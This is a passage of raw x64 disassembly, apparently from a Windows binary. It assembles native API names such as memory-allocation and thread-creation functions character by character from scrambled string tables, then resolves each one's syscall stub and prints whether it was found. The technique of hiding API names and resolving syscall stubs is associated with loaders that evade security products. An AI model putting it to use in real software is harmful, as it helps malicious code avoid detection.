lea rax, [rbp + 0x35f0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa6f0
lea rax, [rbp + 0x35d0]
lea rdx, [rbp + 0x35f0]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x35b0]
lea rdx, [rbp + 0x35d0]
lea r8, [0x1402afecb]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3590]
lea rdx, [rbp + 0x35b0]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3570]
lea rdx, [rbp + 0x3590]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3550]
lea rdx, [rbp + 0x3570]
lea r8, [0x1402afe97]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3530]
lea rdx, [rbp + 0x3550]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3510]
lea rdx, [rbp + 0x3530]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x34f0]
lea rdx, [rbp + 0x3510]
lea r8, [0x1402afecd]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x34d0]
lea rdx, [rbp + 0x34f0]
lea r8, [0x1402afecf]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x34b0]
lea rdx, [rbp + 0x34d0]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3490]
lea rdx, [rbp + 0x34b0]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3470]
lea rdx, [rbp + 0x3490]
lea r8, [0x1402afe97]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3450]
lea rdx, [rbp + 0x3470]
lea r8, [0x1402afed1]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3430]
lea rdx, [rbp + 0x3450]
lea r8, [0x1402afed3]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3410]
lea rdx, [rbp + 0x3430]
lea r8, [0x1402afed5]
mov rcx, rax
call fcn.1400bb270
lea rdx, [rbp + 0x3410]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x3410]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3430]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3450]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3470]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3490]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x34b0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x34d0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x34f0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3510]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3530]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3550]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3570]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3590]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x35b0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x35d0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x35f0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x361f]
mov rcx, rax
call fcn.140072dc0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x3620]
mov rcx, rax
call fcn.1400aa260
mov r9, qword [rbp + 0x5b70]
mov r8, qword [rbp + 0x5b90]
mov rdx, qword [rbp + 0x5b68]
lea rax, [rbp + 0x3620]
mov rcx, qword [rbp + 0x5c18]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5c80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x5b64], eax
lea rax, [rbp + 0x3620]
mov rcx, rax
call fcn.1400aae10
cmp dword [rbp + 0x5b64], 0
je 0x140004cf8
lea rbx, [0x1402afea9]
jmp 0x140004cff
lea rbx, [0x1402afeae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.140030590
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x380f]
mov rcx, rax
call fcn.140072d90
lea rdx, [rbp + 0x380f]
lea rax, [rbp + 0x37e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa6f0
lea rax, [rbp + 0x37c0]
lea rdx, [rbp + 0x37e0]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x37a0]
lea rdx, [rbp + 0x37c0]
lea r8, [0x1402afed7]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3780]
lea rdx, [rbp + 0x37a0]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3760]
lea rdx, [rbp + 0x3780]
lea r8, [0x1402afed9]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3740]
lea rdx, [rbp + 0x3760]
lea r8, [0x1402afea1]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3720]
lea rdx, [rbp + 0x3740]
lea r8, [0x1402afea5]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3700]
lea rdx, [rbp + 0x3720]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x36e0]
lea rdx, [rbp + 0x3700]
lea r8, [0x1402afecd]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x36c0]
lea rdx, [rbp + 0x36e0]
lea r8, [0x1402afecf]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x36a0]
lea rdx, [rbp + 0x36c0]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3680]
lea rdx, [rbp + 0x36a0]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3660]
lea rdx, [rbp + 0x3680]
lea r8, [0x1402afe97]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3640]
lea rdx, [rbp + 0x3660]
lea r8, [0x1402afed1]
mov rcx, rax
call fcn.1400bb270
lea rdx, [rbp + 0x3640]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x3640]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3660]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3680]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x36a0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x36c0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x36e0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3700]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3720]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3740]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3760]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3780]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x37a0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x37c0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x37e0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x380f]
mov rcx, rax
call fcn.140072dc0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x3810]
mov rcx, rax
call fcn.1400aa260
mov r9, qword [rbp + 0x5b70]
mov r8, qword [rbp + 0x5b90]
mov rdx, qword [rbp + 0x5b68]
lea rax, [rbp + 0x3810]
mov rcx, qword [rbp + 0x5c10]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5c80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x5b64], eax
lea rax, [rbp + 0x3810]
mov rcx, rax
call fcn.1400aae10
cmp dword [rbp + 0x5b64], 0
je 0x14000503b
lea rbx, [0x1402afea9]
jmp 0x140005042
lea rbx, [0x1402afeae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.140030590
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x3adf]
mov rcx, rax
call fcn.140072d90
lea rdx, [rbp + 0x3adf]
lea rax, [rbp + 0x3ab0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa6f0
lea rax, [rbp + 0x3a90]
lea rdx, [rbp + 0x3ab0]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3a70]
lea rdx, [rbp + 0x3a90]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3a50]
lea rdx, [rbp + 0x3a70]
lea r8, [0x1402afe97]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3a30]
lea rdx, [rbp + 0x3a50]
lea r8, [0x1402afe9d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3a10]
lea rdx, [rbp + 0x3a30]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x39f0]
lea rdx, [rbp + 0x3a10]
lea r8, [0x1402afedb]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x39d0]
lea rdx, [rbp + 0x39f0]
lea r8, [0x1402afe93]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x39b0]
lea rdx, [rbp + 0x39d0]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3990]
lea rdx, [rbp + 0x39b0]
lea r8, [0x1402afedd]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3970]
lea rdx, [rbp + 0x3990]
lea r8, [0x1402afe9d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3950]
lea rdx, [rbp + 0x3970]
lea r8, [0x1402afedf]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3930]
lea rdx, [rbp + 0x3950]
lea r8, [0x1402afee1]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3910]
lea rdx, [rbp + 0x3930]
lea r8, [0x1402afe91]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x38f0]
lea rdx, [rbp + 0x3910]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x38d0]
lea rdx, [rbp + 0x38f0]
lea r8, [0x1402afee3]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x38b0]
lea rdx, [rbp + 0x38d0]
lea r8, [0x1402afee5]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3890]
lea rdx, [rbp + 0x38b0]
lea r8, [0x1402afee7]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3870]
lea rdx, [rbp + 0x3890]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3850]
lea rdx, [rbp + 0x3870]
lea r8, [0x1402afe95]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3830]
lea rdx, [rbp + 0x3850]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rdx, [rbp + 0x3830]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x3830]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3850]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3870]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3890]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x38b0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x38d0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x38f0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3910]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3930]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3950]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3970]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3990]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x39b0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x39d0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x39f0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3a10]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3a30]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3a50]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3a70]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3a90]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3ab0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3adf]
mov rcx, rax
call fcn.140072dc0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x3ae0]
mov rcx, rax
call fcn.1400aa260
mov r9, qword [rbp + 0x5b70]
mov r8, qword [rbp + 0x5b90]
mov rdx, qword [rbp + 0x5b68]
lea rax, [rbp + 0x3ae0]
mov rcx, qword [rbp + 0x5c08]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5c80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x5b64], eax
lea rax, [rbp + 0x3ae0]
mov rcx, rax
call fcn.1400aae10
cmp dword [rbp + 0x5b64], 0
je 0x1400054b2
lea rbx, [0x1402afea9]
jmp 0x1400054b9
lea rbx, [0x1402afeae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.140030590
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x3e2f]
mov rcx, rax
call fcn.140072d90
lea rdx, [rbp + 0x3e2f]
lea rax, [rbp + 0x3e00]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa6f0
lea rax, [rbp + 0x3de0]
lea rdx, [rbp + 0x3e00]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3dc0]
lea rdx, [rbp + 0x3de0]
lea r8, [0x1402afee9]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3da0]
lea rdx, [rbp + 0x3dc0]
lea r8, [0x1402afea1]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3d80]
lea rdx, [rbp + 0x3da0]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3d60]
lea rdx, [rbp + 0x3d80]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3d40]
lea rdx, [rbp + 0x3d60]
lea r8, [0x1402afea7]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3d20]
lea rdx, [rbp + 0x3d40]
lea r8, [0x1402afeeb]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3d00]
lea rdx, [rbp + 0x3d20]
lea r8, [0x1402afedf]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3ce0]
lea rdx, [rbp + 0x3d00]
lea r8, [0x1402afeed]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3cc0]
lea rdx, [rbp + 0x3ce0]
lea r8, [0x1402afe93]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3ca0]
lea rdx, [rbp + 0x3cc0]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3c80]
lea rdx, [rbp + 0x3ca0]
lea r8, [0x1402afea5]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3c60]
lea rdx, [rbp + 0x3c80]
lea r8, [0x1402afe97]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3c40]
lea rdx, [rbp + 0x3c60]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3c20]
lea rdx, [rbp + 0x3c40]
lea r8, [0x1402afe9d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3c00]
lea rdx, [rbp + 0x3c20]
lea r8, [0x1402afe93]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3be0]
lea rdx, [rbp + 0x3c00]
lea r8, [0x1402afedf]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3bc0]
lea rdx, [rbp + 0x3be0]
lea r8, [0x1402afec9]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3ba0]
lea rdx, [rbp + 0x3bc0]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3b80]
lea rdx, [rbp + 0x3ba0]
lea r8, [0x1402afe93]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3b60]
lea rdx, [rbp + 0x3b80]
lea r8, [0x1402afe95]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3b40]
lea rdx, [rbp + 0x3b60]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3b20]
lea rdx, [rbp + 0x3b40]
lea r8, [0x1402afed9]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3b00]
lea rdx, [rbp + 0x3b20]
lea r8, [0x1402afed9]
mov rcx, rax
call fcn.1400bb270
lea rdx, [rbp + 0x3b00]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x3b00]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3b20]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3b40]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3b60]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3b80]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3ba0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3bc0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3be0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3c00]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3c20]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3c40]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3c60]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3c80]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3ca0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3cc0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3ce0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3d00]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3d20]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3d40]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3d60]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3d80]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3da0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3dc0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3de0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3e00]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3e2f]
mov rcx, rax
call fcn.140072dc0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x3e30]
mov rcx, rax
call fcn.1400aa260
mov r9, qword [rbp + 0x5b70]
mov r8, qword [rbp + 0x5b90]
mov rdx, qword [rbp + 0x5b68]
lea rax, [rbp + 0x3e30]
mov rcx, qword [rbp + 0x5c00]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5c80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x5b64], eax
lea rax, [rbp + 0x3e30]
mov rcx, rax
call fcn.1400aae10
cmp dword [rbp + 0x5b64], 0
je 0x1400059d9
lea rbx, [0x1402afea9]
jmp 0x1400059e0
lea rbx, [0x1402afeae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.140030590
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x40bf]
mov rcx, rax
call fcn.140072d90
lea rdx, [rbp + 0x40bf]
lea rax, [rbp + 0x4090]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa6f0
lea rax, [rbp + 0x4070]
lea rdx, [rbp + 0x4090]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4050]
lea rdx, [rbp + 0x4070]
lea r8, [0x1402afed7]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4030]
lea rdx, [rbp + 0x4050]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4010]
lea rdx, [rbp + 0x4030]
lea r8, [0x1402afe97]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3ff0]
lea rdx, [rbp + 0x4010]
lea r8, [0x1402afed1]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3fd0]
lea rdx, [rbp + 0x3ff0]
lea r8, [0x1402afe9b]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3fb0]
lea rdx, [rbp + 0x3fd0]
lea r8, [0x1402afe9d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3f90]
lea rdx, [rbp + 0x3fb0]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3f70]
lea rdx, [rbp + 0x3f90]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3f50]
lea rdx, [rbp + 0x3f70]
lea r8, [0x1402afea1]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3f30]
lea rdx, [rbp + 0x3f50]
lea r8, [0x1402afe97]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3f10]
lea rdx, [rbp + 0x3f30]
lea r8, [0x1402afe91]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3ef0]
lea rdx, [rbp + 0x3f10]
lea r8, [0x1402afea3]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3ed0]
lea rdx, [rbp + 0x3ef0]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3eb0]
lea rdx, [rbp + 0x3ed0]
lea r8, [0x1402afea5]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3e90]
lea rdx, [rbp + 0x3eb0]
lea r8, [0x1402afe93]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3e70]
lea rdx, [rbp + 0x3e90]
lea r8, [0x1402afe9f]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x3e50]
lea rdx, [rbp + 0x3e70]
lea r8, [0x1402afea7]
mov rcx, rax
call fcn.1400bb270
lea rdx, [rbp + 0x3e50]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x3e50]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3e70]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3e90]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3eb0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3ed0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3ef0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3f10]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3f30]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3f50]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3f70]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3f90]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3fb0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3fd0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x3ff0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4010]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4030]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4050]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4070]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4090]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x40bf]
mov rcx, rax
call fcn.140072dc0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x40c0]
mov rcx, rax
call fcn.1400aa260
mov r9, qword [rbp + 0x5b70]
mov r8, qword [rbp + 0x5b90]
mov rdx, qword [rbp + 0x5b68]
lea rax, [rbp + 0x40c0]
mov rcx, qword [rbp + 0x5bf8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5c80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x5b64], eax
lea rax, [rbp + 0x40c0]
mov rcx, rax
call fcn.1400aae10
cmp dword [rbp + 0x5b64], 0
je 0x140005df8
lea rbx, [0x1402afea9]
jmp 0x140005dff
lea rbx, [0x1402afeae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.140030590
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x41cf]
mov rcx, rax
call fcn.140072d90
lea rdx, [rbp + 0x41cf]
lea rax, [rbp + 0x41a0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa6f0
lea rax, [rbp + 0x4180]
lea rdx, [rbp + 0x41a0]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4160]
lea rdx, [rbp + 0x4180]
lea r8, [0x1402afecb]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4140]
lea rdx, [rbp + 0x4160]
lea r8, [0x1402afe91]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4120]
lea rdx, [rbp + 0x4140]
lea r8, [0x1402afe93]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4100]
lea rdx, [rbp + 0x4120]
lea r8, [0x1402afed9]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x40e0]
lea rdx, [rbp + 0x4100]
lea r8, [0x1402afe99]
mov rcx, rax
call fcn.1400bb270
lea rdx, [rbp + 0x40e0]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x40e0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4100]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4120]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4140]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4160]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x4180]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x41a0]
mov rcx, rax
call fcn.1400aae10
lea rax, [rbp + 0x41cf]
mov rcx, rax
call fcn.140072dc0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x41d0]
mov rcx, rax
call fcn.1400aa260
mov r9, qword [rbp + 0x5b70]
mov r8, qword [rbp + 0x5b90]
mov rdx, qword [rbp + 0x5b68]
lea rax, [rbp + 0x41d0]
mov rcx, qword [rbp + 0x5bf0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5c80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x5b64], eax
lea rax, [rbp + 0x41d0]
mov rcx, rax
call fcn.1400aae10
cmp dword [rbp + 0x5b64], 0
je 0x140006007
lea rbx, [0x1402afea9]
jmp 0x14000600e
lea rbx, [0x1402afeae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.140030590
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x439f]
mov rcx, rax
call fcn.140072d90
lea rdx, [rbp + 0x439f]
lea rax, [rbp + 0x4370]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa6f0
lea rax, [rbp + 0x4350]
lea rdx, [rbp + 0x4370]
lea r8, [0x1402afe8d]
mov rcx, rax
call fcn.1400bb270
lea rax, [rbp + 0x4330]
lea rdx, [rbp + 0x4350]
